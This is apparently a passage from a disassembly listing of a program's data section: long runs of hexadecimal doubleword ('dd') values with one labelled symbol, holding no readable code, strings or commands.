		dd 411D2D36h, 0E9204416h, 786C9367h, 463B7B83h,	0DDE00917h
		dd 33C8617Fh, 0E023E361h, 814BAEC2h, 5070FB12h,	0AB0BFCBDh
		dd 8220E4F0h, 123F844h,	2B94CDA1h, 0D837804h, 74AB6CB4h
		dd 948E5163h, 59F05466h, 0C00E1005h, 85168E2Ah,	8CD29869h
		dd 5A80D2F9h, 73E020CCh, 0D80C0C57h, 0F8A2DD71h, 3C133083h
		dd 4CC5A391h, 0E9A8A663h, 943906E8h, 58A7C9D7h,	3EFD8813h
		dd 74C8F413h, 55BF2776h, 4CE4D409h, 2F148318h, 7CAE2159h
		dd 0F06082B0h, 40B4661Ch, 465CA8EAh, 5A3C33h, 0ABF67C74h
		dd 38E632E8h, 74484090h, 70D59880h, 38282A05h, 4CB4C446h
		dd 0FF471DCh, 8B44330Ah, 0AC4B9A20h, 4900F323h,	60017016h
		dd 5A067531h, 8B3413ABh, 0C5A3C854h, 0ECA4A010h, 40314C09h
		dd 0E6E492FEh, 51A1778h, 0DFB0C022h, 9586CA1h, 14BA0C18h
		dd 4B3619A6h, 0E20484E5h, 3140F2D4h, 8AA060C9h,	424EDCF2h
		dd 8D23142Fh, 31423900h, 5D2D3C9Dh, 8301852h, 10C9094Eh
		dd 7A24F24Ch, 0E9E7048Ch, 0ACD3090Ah, 0DF42B038h, 0DB6600E9h
		dd 34BBA408h, 58C035B7h, 4F8ADE98h, 0AD77264Bh,	685349FCh
		dd 0C55AA70h, 9059AE88h, 2501B019h, 70959ADCh, 88C55E3Bh
		dd 46B4860h, 5AF8544Eh,	0AFE8B074h, 0BE7CBCF4h,	97470527h
		dd 809791F4h, 79DF5237h, 536916CDh, 420815Fh, 0D8343449h
		dd 0D08B9E02h, 5974BFC7h, 60DCD3BCh, 1E9533Eh, 621318EBh
		dd 2F157CAFh, 0E84B4840h, 2608E28Bh, 748450ABh,	4B005846h
		dd 193E7F69h, 0D64D2D70h, 0DF8E04B4h, 2CBD9BA5h, 4A345A10h
		dd 0A4233C2Fh, 6F329E00h, 78082585h, 9590EE56h,	0F2335437h
		dd 0A267F0D5h, 0A7DC2DB5h, 0A8E57CA9h, 0A5633EE4h, 6DE8C7C1h
		dd 39680264h, 4AF84B7Fh, 71BC597Ch, 0E831899h, 6411771Ah
		dd 40218BAEh, 322B62FFh, 3F7512ECh, 17688449h, 818C91ACh
		dd 52219C8h, 24268C29h,	25803DA0h, 0EE132ABEh, 8007C70Dh
		dd 0E2B5B55h, 5CC40997h, 760110ECh, 0C40AA911h,	0B510A752h
		dd 804B1184h, 22E3F24Ah, 6E90064h, 5C83A23Dh, 36077408h
		dd 193137C1h, 0C8FE0E80h, 8EE9096Eh, 9045E078h,	0AB60A4E4h
		dd 0F10619BDh, 4C9CEBD6h, 6B552D68h, 0DC004C0Ah, 7490EE13h
		dd 0C5944C2h, 962D14F0h, 422C1838h, 1346842Ch, 5A847402h
		dd 5C947116h, 847CCF07h, 4D501A44h, 2CDE0BBFh, 41A8396Ah
		dd 6489DF6Ch, 24B46FD8h, 0C088ED25h, 9A7D6BEh, 0FD73C0FEh
		dd 0D95C017Dh, 80D71094h, 58A82C90h, 0D712008Ch, 3FD5C3A3h
		dd 9E052B61h, 836605E9h, 4EB160E6h, 0ECF8DE1Fh,	811B20h
		dd 60EF5E3h, 6195A454h,	213E276h, 0A4801CF0h, 818EACD6h
		dd 0B46B2B68h, 11E4272Eh, 0B6590F2Fh, 575039D0h, 0ABA26833h
		dd 18EA30h, 8DCB4C60h, 364EF9B5h, 24612261h, 0F681F33Eh
		dd 9338BE30h, 0E975FC6Bh, 0C02EDC5Eh, 0EE008C7Ah, 0F84D0C04h
		dd 7B4A7071h, 8E21C005h, 0F9F21EA7h, 99D5DA00h,	67550FE3h
		dd 0E500191h, 8A539C4Fh, 4C032B60h, 0A56FC925h,	98B228B3h
		dd 12D7E30h, 0DB16C1FBh, 0BF3F0378h, 0AF740E89h, 19026158h
		dd 0E8F0F9FAh, 0CBC2026Dh, 4C1128C0h, 3D2FA474h, 7B050700h
		dd 726800E6h, 0AE1841A1h, 0B1813A04h, 57FF0074h, 3E62ACDAh
		dd 0E93FF5D9h, 0E888DCA1h, 0BEEC8C8Ch, 83A1980Bh, 1C342207h
		dd 9588526Ch, 5FD79C23h, 5451E49Ah, 70183879h, 0E77D9B0Eh
		dd 1988824Ch, 10587EF5h, 4F070978h, 642CCD83h, 0E1F8B8CBh
		dd 1FD25F12h, 0AD803211h, 0A5795468h, 5B009AEAh, 35B11314h
		dd 25E874DDh, 444812F2h, 970978ABh, 5108D6F8h, 6804A750h
		dd 0C550A9A6h, 0E0A45403h, 8AF700DBh, 0B7045617h, 0A900ED50h
		dd 0D21820AAh, 123E3696h, 8B02BD3Ch, 0C099C818h, 0DCDA922Bh
		dd 0C95DD01h, 9D9381D8h, 0F510AC2Dh, 0B07E2E42h, 11140800h
		dd 3A8EDC53h, 0C81EBC2h, 0B40AFF10h, 0C3B8A542h, 0C72DC240h
		dd 63AAC40Ch, 0F0FBC076h, 8FA758A8h, 0A178D101h, 6A9F74B5h
		dd 0B4FB822h, 0E0946C61h, 0E69FE3Fh, 70B45B79h,	0A73DA642h
		dd 68DA31BDh, 218095E9h, 0DFFC9864h, 9E02A9C3h,	0AB5BF338h
		dd 0E9A4A37Ch, 0BD29009Ch, 0FE1F5F80h, 6600AF1Dh, 0BED9A9E8h
		dd 10C7DB7h, 1AEDE48Ch,	2B832EF3h, 3723D82Eh, 6084B400h
		dd 3A530ED4h, 29CDD44h,	0C85003E9h, 58BAA8DCh, 0ADA9C4A0h
		dd 0C8D276D8h, 41BB04F0h, 88602F7Bh, 0A09BE5D6h, 8681C9FCh
		dd 0C49A120h, 0A044ADA3h, 1A2D0548h, 86440F9Ch,	161ECBDh
		dd 0EEB08EBBh, 3F82D42Fh, 1F17306Bh, 40940057h,	58C741ACh
		dd 3756B425h, 85840704h, 0BBC2934Eh, 418859A8h,	0DC60930Eh
		dd 408DE271h, 0D4809803h, 94C3046Eh, 0EA899DFh,	30CE00E2h
		dd 5C61CB53h, 4BE8105Ch, 7776068Ch, 4070BBB9h, 918497B5h
		dd 78A180A6h, 18DFB761h, 613E0380h, 0EF74C277h,	0E076500h
		dd 0B0F36E78h, 5BBF0149h, 58CED08h, 28D44912h, 8C32BC00h
		dd 24424000h, 9F9695F2h, 84021808h, 5ABC5050h, 73FCA097h
		dd 1F34F6h, 78F84625h, 12948EC4h, 75E94C07h, 26E05210h
		dd 948F6B8h, 9DA989C0h,	4BD134F1h, 0D61C0F18h, 0C28F2A10h
		dd 0D7401FD2h, 0F1A81A74h, 0B658D28Eh, 0AD0FE058h, 803C94E9h
		dd 365A5D34h, 102D0623h, 8F1024BBh, 0A078D4C1h,	72158301h
		dd 0D6107F9Ch, 0BB248CA8h, 8019351Ch, 0D40A86E0h, 8B788CB2h
		dd 0D0120616h, 0C2DB90C0h, 3D5C9960h, 0A1B169E0h, 221A8970h
		dd 4C2836E4h, 0D1F4B148h, 1161899h, 2621EA63h, 802536C9h
		dd 0AF3781A1h, 130EFB5Ah, 0E4D4C5D9h, 5309152Ch, 32760C48h
		dd 797079F8h, 46C183Fh,	0FF34BC8Ah, 29ECF048h, 0E2C321C7h
		dd 63AB3260h, 0EC9007Eh, 0ED9A33D8h, 0BD137641h, 6F06C2h
		dd 8065F40Ah, 7BE408D8h, 0E18E0100h, 30A3197Fh,	48E94003h
		dd 0CD001168h, 37276918h, 0FCB886C0h, 0AC0E0031h, 8B7E01EDh
		dd 0C348EB9Fh, 8CA7E8E0h, 16841358h, 4E2CF4Ah, 83117900h
		dd 0BA5DD7A5h, 0C2818B00h, 983C9340h, 6E7E4FCBh, 58180200h
		dd 60DB2F71h, 0B4105C5h, 8CD0C5A4h, 0BC2978D2h,	8902E44Dh
		dd 0F421CC0Ah, 9C708980h, 0A80050FBh, 91D17619h, 0A9F01385h
		dd 25B0D1DFh, 62C848BCh, 0B72AE16h, 948EE084h, 37C05988h
		dd 1314ECD0h, 0D1A5D9E0h, 94466ACh, 0A288BC0Bh,	45566C1h
		dd 200C429h, 7488D98Ah,	8D01AEB2h, 1CB7ABE6h, 39C904BEh
		dd 10E6892h, 5C7D47A3h,	59C02C88h, 7C8EC60h, 34DB93AEh
		dd 1BF83EDh, 0F5B5A3C1h, 0E83300AAh, 4F8109D2h,	0F0516C50h
		dd 1F540284h, 93384812h
		dd 264F8701h, 298455C7h, 526C2209h, 8B23106Eh, 59701A01h
		dd 6872AAF0h, 2F4B5058h, 3382364h, 5771406Bh, 0FCA3A0DFh
		dd 0BD17A422h, 20299D44h, 3788744Eh, 0E974A2CFh, 3A1CE0A6h
		dd 876928B0h, 27F27ED8h, 0A0974E7Ch, 1381A391h,	0F299D794h
		dd 8001D87Eh, 8DC9E654h, 0AABC8478h, 6328018Ch,	0B7CD4EBFh
		dd 0E62DD8C3h, 0B60A289Ah, 54C41073h, 38AB465Ch, 0C0D400CFh
		dd 0D3126067h, 0AC4B0075h, 0F35E5680h, 5CB90140h, 4000ED4Bh
		dd 2DB8D524h, 687B231Fh, 220B72Dh, 4C7D739h, 385644EAh
		dd 374676h, 4DAFF8D1h, 1A14B64h, 43A7B7A8h, 7C42DE2Dh
		dd 0E8032F20h, 9D0DC4h,	474A246Dh, 96856639h, 0C8C1CE4Ah
		dd 526FAE98h, 0AF30635Ch, 0E960E390h, 0F0C5A113h, 0B96104E0h
		dd 0B871492Ch, 0D6185759h, 0D724874Dh, 9300006Ah, 9C1F11DCh
		dd 0C2098EF7h, 425073CBh, 0F93CF968h, 2481832h,	9CD66D1Bh
		dd 30644AE3h, 2E07745h,	934643A4h, 8DC8908Ah, 0AF3A07CBh
		dd 0ED2B820h, 5AAF6EAh,	0F5E29102h, 0A398C807h,	7860AD26h
		dd 972540A4h, 803891F4h, 482A835Fh, 6BA80022h, 0BC8C960Ch
		dd 4B5E622Ch, 9B7E002h,	0E207A3h, 0BD61AC39h, 7D297A00h
		dd 701BAAE9h, 8094B9F3h, 9B16514Dh, 80B538Ah, 9D81A1FAh
		dd 8096114Ch, 6CDA21E3h, 0A80405F2h, 13E73EF7h,	8800CFE4h
		dd 91F1C33Fh, 2F3EE010h, 18B01A16h, 3340E0FEh, 0BA7D461Ch
		dd 0C8E67392h, 0B5A205E0h, 2497BC2Eh, 4EE40A84h, 4FB6822h
		dd 1C843958h, 2FBD2953h, 5A090E1h, 0B86FB412h, 154CF903h
		dd 0BAA0D880h, 0C5321736h, 93B8A1h, 6ADA1205h, 6DC40997h
		dd 217160BCh, 537E7B17h, 0CCDABB00h, 92C1C3F3h,	1CAF1DBCh
		dd 51ED02CEh, 24D3831Fh, 23BC558h, 23E7877Dh, 7C5667EEh
		dd 384674h, 9F0C1B11h, 1259602Fh, 0E3834905h, 3396A2CCh
		dd 30E78D99h, 4B764550h, 0E5BC600h, 480454F7h, 8A68B8C0h
		dd 0D69C7CDCh, 327F8E00h, 0A1EBE7FEh, 11DF106Ch, 0FC9D4B7Eh
		dd 0A3AC446Ch, 981F128Ch, 5BF4D3ACh, 790CD9CEh,	0D21D422Fh
		dd 0D6680792h, 4074EB99h, 0F1BC76F4h, 0E8FA481Ch, 3BF73100h
		dd 0B49412F3h, 7B158CC8h, 55888251h, 0AE08020Eh, 192EA2F9h
		dd 1D689C60h, 3C2F7681h, 0C28841D0h, 0F28470EBh, 0B8140A45h
		dd 7CA895B1h, 7A004B46h, 19F7A3C3h, 6AF9DEC2h, 343AF816h
		dd 5200A623h, 0F2F145F9h, 0B18E0189h, 0AE49B75Ah, 2F83C5Ch
		dd 0C6266487h, 426CD43Ch, 0CC5E6B0Fh, 91EC213Dh, 44885F35h
		dd 62304808h, 1D6AF101h, 3E4359EEh, 51047027h, 0D2C5ED00h
		dd 49584041h, 1A0981A4h, 0C8533E1Ch, 0BA510537h, 53B2F34h
		dd 5AB050B4h, 28DE2040h, 34F4674h, 162D53C5h, 9E6BA0CBh
		dd 204C9077h, 0E0238FEh, 48F4704Ah, 4A84F416h, 73490026h
		dd 1CC8C988h, 0AF7D7C01h, 30DEFD39h, 90438A4h, 8840D4ADh
		dd 0F21C1B5Ch, 0E0E52D33h, 50EA417Ch, 0D76C9C46h, 0F05CE6C0h
		dd 4E6E142h, 0B5A3781Dh, 93CB0D8h, 39E02A12h, 0AF0420A7h
		dd 0F932FC0Ah, 5C4204E4h, 5A42F8A8h, 0F4A18D39h, 0AE417A09h
		dd 465E0C2Ah, 32F80033h, 0A2A6D98Eh, 16720968h,	0BCD0C9C0h
		dd 0C2716725h, 7950F100h, 90CF1997h, 12536DEEh,	0F75F25F9h
		dd 0F5A3F0A4h, 19C605C9h, 0AD2F5E2Dh, 17DC2534h, 804B11ACh
		dd 0CD1E8A37h, 32E90B2Fh, 0DCD03EC4h, 0AF2BD504h, 94BC60B6h
		dd 28BDA405h, 0D32CBC83h, 3723282Eh, 1E4DB701h,	4CFCE8E2h
		dd 5DDE0CCCh, 78E1865Ah, 52EF3Bh, 6448B14Fh, 27183B04h
		dd 0F4130F2Bh, 0C1003DD3h, 90C54F33h, 14A8B55h,	0E8791D8Ch
		dd 280F0B72h, 8CA1BC6Ch, 48100D0Bh, 0B8C081E9h,	887CF2CFh
		dd 0AFC12584h, 7B19E837h, 0C895A5B4h, 0DE80A191h, 6E914E7h
		dd 10683F5Ch, 64507234h, 14C34825h, 28120983h, 8E0388A6h
		dd 0F22AAB0h, 0F85083F3h, 0E6D46F10h, 1284B0F2h, 0F4C0B81Fh
		dd 0D0A87764h, 855ED796h, 14B02417h, 44484CD3h,	8C59FCh
		dd 0DD9FBD46h, 0E8F9B825h, 2FBFC6E8h, 0A004F23Ch, 1007A09Dh
		dd 0D6449107h, 4B7C6888h, 0CCE23484h, 9F3057F2h, 4A333C40h
		dd 0C84CCECBh, 0FCD2C0A0h, 8813FF95h, 3C44BC0Ah, 0A0A28B41h
		dd 65308EF2h, 0A4022781h, 80747C84h, 1C4CFAA4h,	2598DA3Eh
		dd 5AE8C1E8h, 0B3900FFh, 0D8792B73h, 9D1D60E3h,	6A0332A4h
		dd 0B1C6368Dh, 14620665h, 506E4Bh, 0EB294FF1h, 52603A4h
		dd 0C3BD3133h, 0C118E1C0h, 5CBD0592h, 48A48C21h, 0C98465Ch
		dd 3AB32E16h, 87C4824h,	0A8B1EF05h, 0BC20EC89h,	0E0018C98h
		dd 0C696A255h, 0C842B59Eh, 90E6277Bh, 97894E10h, 54162C90h
		dd 4C44EC41h, 3BAF42DCh, 13723FCh, 7149D6F7h, 3BED813h
		dd 5B24B00Ch, 1C67983h,	0BA13412h, 0EC4B3E91h, 0D500B232h
		dd 43A37B6Dh, 0B233522Dh, 2C609BA4h, 8CC9251Ch,	33BFD171h
		dd 33ABA214h, 9F9B11F8h, 4D049307h, 0D8928B24h,	3848D431h
		dd 0B997AE92h, 0D9483014h, 6258BE23h, 73E988A1h, 0A0F11CD9h
		dd 0BC580518h, 1DE0786Bh, 1ABDC1ECh, 516C7B6Ch,	4D88701Bh
		dd 380BB0B2h, 823CA3C7h, 12CFB98h, 708AACAFh, 8248A1EEh
		dd 8C99E824h, 3FB86E00h, 0EC59A72h, 8DF932D8h, 0CFC9370h
		dd 0D2FD4006h, 4700BC99h, 1A68E049h, 826CAA3h, 120B0018h
		dd 0A51CD13Ch, 8C915C17h, 1E86B980h, 8760BF26h,	0E20E6219h
		dd 44D812D1h, 5B5CE855h, 170944CCh, 22579022h, 0C85CC48Ch
		dd 0C0CC6D2Fh, 0D81417C9h, 9CE1A54Bh, 5C473C30h, 56E81CBDh
		dd 0A4780E8Ch, 458B0208h, 0F9B09020h, 6B4CA1B1h, 8C9AE8A4h
		dd 7503D772h, 85BF8E2h,	941C7CAh, 6C60D580h, 12E9EC06h
		dd 0C01DE014h, 16EABCF0h, 34A1B82Ch, 0EDCA8AEh,	0F495FF10h
		dd 0EAE85080h, 410BA34h, 0AF272F6Eh, 31003459h,	0EF2EDBFBh
		dd 0D63E0001h, 67929713h, 9A002B94h, 0D162D887h, 312CBC20h
		dd 0AE403276h, 0AD34E118h, 4018CF38h, 45058B96h, 0A436BB02h
		dd 4079B0D5h, 5E12A904h, 0B5CC4280h, 500178F0h,	54D9D598h
		dd 25B8547Dh, 97041309h, 8E2461F9h, 17CD6610h, 27F426B0h
		dd 9B00F27Ch, 960EA941h, 1381E7FEh, 61C0FECh, 9953487Ch
		dd 0A0BCAD10h, 0EC145407h, 786001E8h, 0D6346824h, 0B0E044E6h
		dd 5F004D37h, 0C3B18EE1h, 77BE75FEh, 7A464EFCh,	2C5E24D4h
		dd 4E06D1Eh, 0AC986213h, 82B04942h, 75537207h, 10B830A8h
		dd 885A85DDh, 83639840h, 1F04FE6Dh, 0DEE89A6Ch,	0A71C7E17h
		dd 0A449120Ah, 8E3C6A74h, 0E89C483Eh, 99008C97h, 0EA6260Fh
		dd 0B4B65B5Eh, 0CE230400h, 0A84ECA8h, 9C273752h, 76980280h
		dd 739712Dh, 86CFD5E9h,	0DB579195h, 59D1A752h, 80D31C68h
		dd 807F026h, 130B6346h,	1D67FA31h, 803D91B4h, 1CC26A58h
		dd 601DB5B5h, 0D6845711h, 1420BE6Fh, 4F85A77Eh,	23D06F8Ah
		dd 18F10FA7h, 0E22DBE80h, 0CF4C7076h, 0B2811098h, 98ACCC5Bh
		dd 80D9AF69h, 4492B24h,	2C884FD4h, 8016C2C4h, 0F8B62EA1h
		dd 0DAA9C1E3h, 0C8F2FFEh, 0AB004D22h, 8817C378h, 5F2A0728h
		dd 0CFC88708h, 772200D6h, 2D2C0145h, 4CB3424Bh,	0F73140B2h
		dd 5C54E820h, 7884706Dh, 8C210045h, 0B9CC1283h,	1834F9C4h
		dd 61F70958h, 7C9C0Bh, 0C400743Dh, 592C9D34h, 4E258F7Ch
		dd 0E9FCE4C7h, 0DF8284A8h, 0B1BD3F05h, 78C2FC09h, 8E028B7h
		dd 88068001h, 97499CFDh, 88DBA02Bh, 6EBFD073h, 89E10468h
		dd 0D120D5A3h, 0AD7BE970h
		dd 0C554ED29h, 5D708111h, 8F5858B2h, 5EB81A88h,	1B8D75Dh
		dd 60A94E31h, 89006198h, 71156C01h, 9F0448F3h, 0A17D420h
		dd 680FCB05h, 2151F1FFh, 0C991C4B4h, 58C1E9F0h,	0C55BA2E0h
		dd 239C3AB0h, 1ABA05A1h, 169C810Dh, 8518695Dh, 98E842AEh
		dd 8C37ECh, 33B48BD3h, 0E1CFCA3Eh, 70625E04h, 16BE820Dh
		dd 0E04CB610h, 3BAE54C1h, 7482A2F3h, 480206FCh,	7C13507Ch
		dd 25A4F8B0h, 98179E46h, 0CB80A791h, 6B3F95BCh,	59E01613h
		dd 27BA5CF0h, 18825614h, 24F64C36h, 7390D325h, 0DE63CBF0h
		dd 0B2B92017h, 0AB8850CEh, 839710C0h, 0B8B1071Dh, 50EC9E5Ch
		dd 3230B9D5h, 58A69D4Ah, 0D3285E0h, 60C0564Bh, 5C409C33h
		dd 368B3003h, 4F7F0810h, 7214DAFAh, 8962BDh, 0F1C084F3h
		dd 172E9C27h, 3AD9B926h, 7A32360h, 892F05ACh, 32113C1Fh
		dd 7262CA80h, 1E023CC1h, 100A06B1h, 8368E84Dh, 20D490EDh
		dd 6A978145h, 0D8B57D74h, 0B0C4DBBAh, 0AB23742Eh, 54FAFD03h
		dd 44D688EFh, 14CC1CB5h, 6FDA561Ch, 64F70280h, 6048FFD2h
		dd 8098159Ch, 20B5E8E3h, 0D0FB5038h, 0EDF1000Ah, 0D15A1CBDh
		dd 1424C3C2h, 9C11948Ch, 9EDB3600h, 572BDD53h, 9D709000h
		dd 4219A9D6h, 41FB0B9Bh, 3882932Ch, 3CD62739h, 0FCBC8C60h
		dd 0F4474BBEh, 9F403DF4h, 0BF8098E2h, 884EF029h, 403C4D95h
		dd 0FB944967h, 7CFA0E04h, 0D491F5D7h, 0FC2381B3h, 9930A3A2h
		dd 2F9D5F31h, 4F2394h, 38324567h, 0D312D2A8h, 0E8AC54CBh
		dd 7DDA4180h, 0BDEA7AA9h, 12153909h, 7DB01248h,	2DAF8490h
		dd 6BDB2900h, 0B609B86Ah, 0C4250BAEh, 64E98DE6h, 890FD278h
		dd 744C74B9h, 4000AA46h, 412303EBh, 0C916ED4Ch,	28C95FC4h
		dd 80389B3Bh, 43EC9F56h, 0B12D0136h, 34BC7BA8h,	70F2C637h
		dd 9A4F337Dh, 4E11017h,	8CBC583Ch, 3430178Ch, 706404E1h
		dd 29F0192h, 3F0551F8h,	1CA023C8h, 0F8100293h, 0B77D67A6h
		dd 0FD42030Ch, 0A0AE6371h, 28D4C20h, 0C8EE0E5Ch, 18CDE765h
		dd 9053A1E3h, 0A05B546Bh, 0BD4583ACh, 73659899h, 30AAF288h
		dd 0C000F190h, 0F76B8ADBh, 0E2264C52h, 8F7C20BFh, 9FEC0C9h
		dd 0BD9C026Ah, 0BEAA0485h, 14A6D057h, 2878CE0h,	224C7C27h
		dd 0B75A034h, 6C9CCCD2h, 0FA672ED6h, 37040808h,	838A5101h
		dd 64756411h, 8C049B3Ah, 403CA06Dh, 83D5C6Fh, 0F0E24BE0h
		dd 23842B5Bh, 0ACFB004Eh, 1021021Dh, 0D80B88E2h, 8C0A0953h
		dd 0BD1EB87Fh, 569FDCA4h, 3132D004h, 0E2AC74EEh, 3056F29Ch
		dd 0E824F62Eh, 0AA800498h, 0FC2AEE05h, 683C00E0h, 0C6619F54h
		dd 3914DD36h, 92881783h, 9F8110E8h, 0E834C6B0h,	5C007CC9h
		dd 2D58F422h, 27E30CECh, 88340BD3h, 0B584730Ch,	6A09D3h
		dd 14B1602Fh, 5A9B1D7Fh, 338A1F00h, 3259B856h, 7B21C04Eh
		dd 62A82BC2h, 0F275311Eh, 92A3BA06h, 0A58B1810h, 0CEAE285Ch
		dd 54304260h, 0FB61DA8h, 69372D01h, 0FA1F2018h,	8CCAD603h
		dd 13AAD9h, 3AF0D551h, 51C9B12Fh, 887471C1h, 0C9317E1Dh
		dd 885D5808h, 1D01800Dh, 6BE63716h, 19804DC8h, 8A921132h
		dd 0E5119684h, 4C0159C7h, 0FCD1A101h, 7C87E452h, 2AC82600h
		dd 4B28B491h, 6F38F254h, 2963A9B2h, 0E0EFA5ECh,	10306413h
		dd 21BC08CCh, 0EC210072h, 1C018E27h, 0B300578Ah, 8D6714B8h
		dd 0C0BD0FB2h, 989ECFD8h, 1C017789h, 0B76E2CE7h, 2361C2DBh
		dd 8CB27C08h, 7F1D8904h, 0E86763DBh, 1D810E87h,	88E0803Fh
		dd 3859DD49h, 43B11BDFh, 8530A460h, 0A2B25528h,	0D52FC400h
		dd 0CF393B23h, 978EC520h, 0B1B68078h, 5DD72218h, 3C7B8029h
		dd 84838591h, 74DF3370h, 21680830h, 191839Eh, 3B39B6E6h
		dd 41295985h, 5038BB4Ch, 92D618FCh, 44F68D07h, 8F30A584h
		dd 0A4E88AFh, 0A2C55D85h, 60214440h, 0F284917Ah, 66448C7Ch
		dd 91821D9Dh, 8932F01Ch, 0DB0CD569h, 50B8A3CAh,	97441A49h
		dd 28B7E846h, 0C200DDA8h, 19261E7Bh, 3FE4C3C8h,	0BC186055h
		dd 0A70FE12Ch, 0B62BF200h, 0AE50959Ch, 4508CCA4h, 0AF006E21h
		dd 32C6B9F2h, 0C58CA66h, 0E805AE3Dh, 1E8C1DF0h,	5188917Eh
		dd 8072885Ch, 0AC9186A1h, 0DB0C3A80h, 0E8C16FB2h, 44B64938h
		dd 5F14F700h, 6A67A149h, 0E6B67751h, 0B42E8080h, 84A17E4Fh
		dd 98518AEh, 83DB7B1Dh,	1201301Ch, 0D92E1D7Dh, 0C7B7A2h
		dd 78AB270h, 4EC37F03h,	1EC88864h, 8991D367h, 1C4764CAh
		dd 9187A207h, 0BD1499D0h, 1EC200FFh, 2BD71804h,	0B0C02EEBh
		dd 4E02E906h, 938005Fh,	46A055E1h, 3B54D8AEh, 13002CACh
		dd 623D6E6Ch, 64BF072Ah, 0C3B49063h, 18507624h,	0F8C82E4h
		dd 28ABEC27h, 83C58851h, 0CBEC1F74h, 0F7C1C398h, 0E7B4A350h
		dd 0A0889641h, 0BB0132D3h, 0C5DE5299h, 8C860820h, 25F2A904h
		dd 4B62CCB6h, 0F2307027h, 5CF035h, 9B101CFEh, 0EB16DCCCh
		dd 0B850E330h, 0CE5D957h, 4A331BD5h, 0AC2A5570h, 0C490A058h
		dd 6D95244h, 0B9EFD5E0h, 0DFF86133h, 0FF24EE01h, 30BB5250h
		dd 0E1AF1980h, 7496A1CEh, 1D39B00h, 82EB8037h, 53331ADBh
		dd 0F4026819h, 8F018DBFh, 0D3AF3Ch, 0D54F2418h,	64B633DFh
		dd 41249548h, 7930F2FCh, 43877991h, 81A08074h, 13846791h
		dd 48B0DB31h, 50333044h, 8896B3C2h, 0ACF2BF4h, 4EC75CF6h
		dd 808311B0h, 0B62AF2A6h, 0C7B891B4h, 0DBF2906Dh, 0F012D97Ah
		dd 0BD0E083Fh, 0B8585494h, 590F8C67h, 840A9C0Dh, 6CCD4152h
		dd 2AAACCh, 68057AC7h, 169B3ECDh, 9D307B01h, 0AE7F2418h
		dd 59E4E440h, 872A02A0h, 80544AF0h, 2504484Ch, 4828A9ECh
		dd 7620C462h, 13FEC1Dh,	57E6D9FDh, 494A373Ch, 18D0A698h
		dd 5D4674h, 0B8DD3FE4h,	2AA2DFDEh, 46B4C35Bh, 0F2A50282h
		dd 1CACB629h, 0F2AD6C00h, 0D3411E62h, 3CEB020Ch, 0F92DE72Ch
		dd 61812884h, 0B6DCF2A8h, 44448CA4h, 0F2B0386Fh, 0F1726A07h
		dd 435860C2h, 0E8CAFCC5h, 78C1DC23h, 6CE58691h,	9F886B18h
		dd 49910080h, 8989594h,	563FAD59h, 78D82C9Eh, 7CB7C708h
		dd 0B4027246h, 98BBABF1h, 9ED7C849h, 30C42FC1h,	5C8FFCB7h
		dd 0EEC047C8h, 94B8709h, 0B4E038A9h, 5570420h, 300AC1FDh
		dd 0B0747707h, 3861FF0Ch, 72E21A38h, 5CC72853h,	4660B844h
		dd 0AE245F70h, 5105F4E1h, 54C0E80Ah, 40A33BD5h,	0CC18D347h
		dd 0C038B060h, 6CD450AEh, 0CF2003AFh, 0AABF4704h, 15E3B811h
		dd 4064C812h, 31EC463Ch, 27007FBBh, 35A08F94h, 3821DD6h
		dd 0D18864D3h, 5E906DAAh, 0AE1A6031h, 9D617BD0h, 81421124h
		dd 623718FEh, 740489A6h, 9200C746h, 0B365646h, 34B2732Ch
		dd 1009B500h, 85C70612h, 0EC16FC13h, 29CE101h, 0E855066Ah
		dd 201C1103h, 8980C35Dh, 8104246Ch, 1608CC44h, 55004521h
		dd 8536F8C3h, 65999589h, 1EE95C05h, 0F1BDC511h,	8396718h
		dd 6830F8Ah, 0D19D8D06h, 8B66012Dh, 0FF2381F2h,	9C9ECBFEh
		dd 591C5146h, 4C8988C3h, 414017C4h, 0A0F1C351h,	0E9FE0B0Ch
		dd 1D121910h, 36CF04h, 9BC7D401h, 9004E8Fh, 0E32D105Bh
		dd 18DB8C66h, 3308870Fh, 0B5188960h, 619A1231h,	4C306F6h
		dd 2358840Fh, 19C44E85h, 0AE749F60h, 85454B0Bh,	2A8D77FFh
		dd 156E8862h, 0CA501D31h, 74CD2404h, 0E0001946h, 5A12B933h
		dd 0BD158BF9h, 77D01535h, 575D0450h, 0C35F398Ch, 887C8911h
		dd 57478718h, 0D4C171C3h, 9529F807h, 561C3D32h,	642147B0h
		dd 0D9A601Ah, 0BE980009h
dword_50B448	dd 70E6A589h, 0A48814E9h, 659900A8h, 0EFE27CC8h, 8A00BC08h
		dd 0CEE74DD1h, 13D36E0h, 71E4655Fh, 8C0C820Fh, 0B07E939h
		dd 0F4DB0056h, 6C724615h, 0D864B60Fh, 0C76453A8h, 5C892223h
		dd 101D5491h, 4CC35343h, 0BB008298h, 400D5BC4h,	5590A531h
		dd 6ABAF024h, 2988B548h, 0C3323F18h, 5831506Ch,	448991EFh
		dd 40790019h, 2518C350h, 5B1311E8h, 97A20365h, 0E62CBBDAh
		dd 0D23B0FB8h, 17A36A00h, 0B529B204h, 740961DDh, 0EEE8C15Fh
		dd 0F766A140h, 5682E264h, 0C8C35E61h, 458C7489h, 0C31C2015h
		dd 66149000h, 2B8D9ABEh, 0B5230CD8h, 93640CADh,	4C784FA8h
		dd 0C6988100h, 86FC0B0Eh, 620703D2h, 0B60AB849h, 1AB26088h
		dd 0F02E8B8h, 61585A31h, 0A8A845Eh, 0AE4CAF40h,	0E500FDB3h
		dd 0E42CE1C5h, 0ACB7CBEh, 935F13CFh, 1B465C62h,	7600F63Fh
		dd 62DACCB1h, 9D1001DEh, 0FF06068Dh, 0C1449B5h,	0C3525EC8h
		dd 8991C35Ah, 807D3354h, 1EC35242h, 0BEA65411h,	9555C22Ah
		dd 626419CDh, 0F88BF948h, 82078C1Dh, 0F03D010Dh, 6BD4B5D0h
		dd 5E828D7h, 0B38E1722h, 66E800DDh, 0D998E281h,	5F61F809h
		dd 9F4710E8h, 1D70008Eh, 0B531743Dh, 12921345h,	839DB3A2h
		dd 9B811C11h, 0ED680256h, 2408C4E7h, 419D891Ah,	0A7C488F7h
		dd 0B144674h, 0E613C16h, 9F028909h, 8216114Fh, 60C51A07h
		dd 821C2DA3h, 0BF64FAAEh, 0BD58DF7h, 0C017887Fh, 376DADF8h
		dd 75B50B09h, 97F31326h, 0B0D5FD84h, 0E859C054h, 2D018C19h
		dd 59481168h, 263060ECh, 81054021h, 2C3BCB02h, 476136E5h
		dd 6016E4EDh, 12E2888Ch, 50BDBF66h, 18B824EEh, 7E8048Ch
